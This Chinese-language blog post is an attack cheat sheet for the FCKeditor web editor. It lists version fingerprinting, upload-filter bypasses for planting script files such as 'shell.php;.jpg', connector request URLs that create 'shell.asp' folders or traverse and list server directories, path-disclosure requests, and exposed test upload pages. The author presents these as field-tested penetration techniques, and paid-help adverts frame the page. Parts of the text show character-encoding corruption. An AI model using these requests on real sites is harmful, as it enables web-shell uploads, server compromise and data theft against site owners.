FCKeditor編輯器漏洞所有利用頁面

[重要通告]如您遇疑難雜癥,本站支持知識(shí)付費(fèi)業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時(shí)間哦!

FCKeditor編輯器漏洞所有利用頁面
---------------------------------------------------------
FCKeditor漏洞多的要命，一堆堆的網(wǎng)站因?yàn)檫@種洞而犧牲了。 1. 查看編輯器版本 FCKeditor/_whatsnew.html ———————————————————————————————— 2. Version 2.2 版本 Apache+linux 環(huán)境下在上傳文件后面加個(gè).突破 測(cè)試通過。 3.Version <=2.4.2 For php 在處理PHP 上傳的地方并未對(duì)Media 類型進(jìn)行上傳文件類型的控制，導(dǎo)致用戶上傳任意文件將以下保存為html 文件修改action 地址 Upload a new file: —————————————————————————————4.FCKeditor 文件上傳 “.”變“_”下劃線的繞過方法很多時(shí)候上傳的文件例如：shell.php.rar 或shell.php;.jpg 會(huì)變?yōu)?shell_php;.jpg 這是新版FCK 的變化。 4.1：提交shell.php+空格繞過不過空格只支持win 系統(tǒng) *nix 是不支持的[shell.php 和shell.php+空格是 2 個(gè)不同的文件 未測(cè)試。] 4.2：繼續(xù)上傳同名文件可變?yōu)閟hell.php;(1).jpg 也可以新建一個(gè)文件夾只檢測(cè)了第一級(jí)的目錄，如果跳到二級(jí)目錄就不受限制。 —————————————————————————————5. 突破建立文件夾 FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command =CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName =z&uuid=1244789975684 FCKeditor/editor/filemanager/browser/default/connectors/asp/conne ctor.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolde rName=aa.asp —————————————————————————————6. FCKeditor 中test 文件的上傳地址 FCKeditor/editor/filemanager/browser/default/connectors/test.html FCKeditor/editor/filemanager/upload/test.html FCKeditor/editor/filemanager/connectors/test.html FCKeditor/editor/filemanager/connectors/uploadtest.html ————————————————————————————————— 7.常用上傳地址 FCKeditor/editor/filemanager/browser/default/connectors/asp/conne ctor.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/browser.html?type=Im age&connector=connectors/asp/connector.asp FCKeditor/editor/filemanager/browser/default/browser.html?Type=Im age&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanag er%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 測(cè)試通過) JSP 版： FCKeditor/editor/filemanager/browser/default/browser.html?Type=Im age&Connector=connectors/jsp/connector 注意紅色部分修改為FCKeditor 實(shí)際使用的腳本語言，藍(lán)色部分可以自定義文件夾名稱也可以利用../..目錄遍歷，紫色部分為實(shí)際網(wǎng)站地址。 ————————————————————————————————– 8.其他上傳地址 FCKeditor/_samples/default.html FCKeditor/_samples/asp/sample01.asp FCKeditor/_samples/asp/sample02.asp FCKeditor/_samples/asp/sample03.asp FCKeditor/_samples/asp/sample04.asp 一般很多站點(diǎn)都已刪除_samples 目錄，可以試試。 FCKeditor/editor/fckeditor.html 不可以上傳文件，可以點(diǎn)擊上傳圖片按鈕再選擇瀏覽服務(wù)器即可跳轉(zhuǎn)至可上傳文件頁實(shí)為7.常用上傳地址。 ————————————————————————————————– 9.列目錄漏洞也可助找上傳地址 Version 2.4.1 測(cè)試通過修改CurrentFolder 參數(shù)使用 ../../來進(jìn)入不同的目錄 /browser/default/connectors/aspx/connector.aspx?Command=CreateFolder &Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp 根據(jù)返回的XML 信息可以查看網(wǎng)站所有的目錄。 FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Co mmand=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F 也可以直接瀏覽盤符： JSP 版本： FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command =GetFoldersAndFiles&Type=&CurrentFolder=%2F ————————————————————————————————–10.爆路徑漏洞 FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Co mmand=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp ————————————————————————————————–11. FCKeditor 被動(dòng)限制策略所導(dǎo)致的過濾不嚴(yán)問題 影響版本: FCKeditor x.x <= FCKeditor v2.4.3 脆弱描述： FCKeditor v2.4.3 中File 類別默認(rèn)拒絕上傳類型： html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat| exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm Fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 后綴的文件上傳后 它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而沒有使用$sExtension 為后綴直接導(dǎo)致在win 下在上傳文件后面加個(gè).來突破[未測(cè)試] 而在apache 下，因?yàn)椤盇pache 文件名解析缺陷漏洞”也可以利用之，另建議其他上傳漏洞中定義TYPE 變量時(shí)使用File 類別來上傳文件,根據(jù)FCKeditor 的代碼，其限制最為狹隘。在上傳時(shí)遇見可直接上傳腳本文件固然很好，但有些版本可能無法直接上傳可以利用在文件名后面加.點(diǎn)或空格繞過，也可以利用2003 解析漏洞建立xxx.asp 文件夾或者上傳xx.asp;.jpg ————————————————————————————————–12. 目標(biāo)上傳網(wǎng)址 /include\fckeditor\editor\filemanager\connectors\test.html 有很多程序使用該目錄。以上方法都是網(wǎng)上收集和在平時(shí)滲透中所總結(jié)的經(jīng)驗(yàn)，可能有些有遺漏，當(dāng)再想起的時(shí)候再補(bǔ)充，也有自己沒發(fā)現(xiàn)的就要靠各位大俠分享學(xué)習(xí)了

問題未解決？付費(fèi)解決問題加Q或微信 2589053300 (即Q號(hào)又微信號(hào))右上方掃一掃可加博主微信

所寫所說，是心之所感，思之所悟，行之所得；文當(dāng)無敷衍，落筆求簡(jiǎn)潔。 以所舍，求所獲；有所依，方所成！